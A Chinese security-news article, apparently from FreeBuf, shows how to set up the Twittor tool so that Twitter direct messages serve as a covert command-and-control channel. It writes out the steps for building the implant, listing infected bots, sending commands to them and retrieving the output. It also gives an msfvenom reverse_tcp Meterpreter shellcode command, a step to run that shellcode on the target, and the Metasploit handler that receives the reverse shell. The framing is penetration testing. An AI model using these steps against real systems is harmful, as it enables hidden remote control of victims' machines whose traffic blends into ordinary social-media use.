freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何使用Twitter构建C&C服务器
2017-10-03 14:00:51

如使用Twitter构建C&C服务器

写在前面的话

社交媒体网络对于企业的市场营销团队来说,绝对是一个非常好的推广平台。如果能够正确使用它们的话,绝对可以帮助企业带来新的商机。因此,社交媒体平台(例如Twitter和Facebook)上的任何网络流量都不太可能会被屏蔽掉。但是对于渗透测试人员来说,这些社交平台可以成为命令控制工具,而网络犯罪分子甚至还可以利用社交媒体网络流量来隐藏自己的恶意行为。

工具介绍

目前,最著名的一款利用Twitter当作命令控制工具的就是Twittor了,这款工具由Paul Amar开发,而这款工具的开发灵感来自于Gcat(该工具使用Gmail作为命令控制服务器)。

这里唯一的限制条件就是,植入程序以及C2服务器都需要用户的参与以及访问令牌,而这两者都可以使用Twitter应用程序管理来生成。

如使用Twitter构建C&C服务器

当一个新的Twitter应用被创建之后,这些值都会自动生成。控制器与主机之间的通信是通过Twitter的直接消息来进行的,因此新的应用程序将需要拥有这类消息的读取、写入和转发权限。

如使用Twitter构建C&C服务器

植入程序是采用Python语言开发的,不过我们也可以用pyinstaller将其转换成可执行程序(exe)。需要注意的是,这款工具要求的是Python 2.7,你可以使用下列命令直接安装pyinstaller:

pip install pyinstaller
pyinstaller implant.py

当我们的植入程序执行之后,Twittor将会接收到来自目标主机的通信连接以及MAC地址。

如使用Twitter构建C&C服务器

此时,Twittor将能够在目标主机上执行任意命令,包括在内存中执行shellcode,并获取到它已经在目标主机中执行过的命令列表。

如使用Twitter构建C&C服务器

为了发送控制命令,Twittor还需要使用目标主机的MAC地址。

$ list_bots
E0:94:67:90:22:6C:Windows-10-10.0.15063-SP0
$ !cmd E0:94:67:90:22:6C ipconfig/all
[+] Sent command "ipconfig/all"with jobid: SPVGIpE

如使用Twitter构建C&C服务器

命令将会通过一条Twitter的直接消息被发送至目标主机,该消息采用base64编码格式。

如使用Twitter构建C&C服务器

由于Twittor不会对直接消息进行加密,因此解码起来也相对更加容易。发送给目标主机的消息中包含以下信息:

1.      CMD命令

2.      JobID

3.      消息发送者

4.      消息接收者的MAC地址

如使用Twitter构建C&C服务器

命令执行后的输出可以通过retrieve指令和相关的JobID来获取。

$ !retrieve SPVGIpE

如使用Twitter构建C&C服务器

除此之外,为了得到Meterpreter会话并利用其完整功能,我们还可以向目标主机发送shellcode。Metasploit msfvenom还可以被用来生成Python shellcode。

msfvenom -p windows/meterpreter/reverse_tcpLHOST=XXX.XXX.XXX.XXX LPORT=4444 -f python

如使用Twitter构建C&C服务器

下面这条命令将会帮助你在目标主机上执行shellcode。

!shellcode E0:94:67:90:22:6C shellcode

下面这个Metasploit模块可以用来获取网络连接。

exploit/multi/handler

工具下载

Twittor:【点我下载

* 参考来源:pentestlab,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文作者:, 转载请注明来自FreeBuf.COM

# Twittor # Twitter 命令控制工具
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑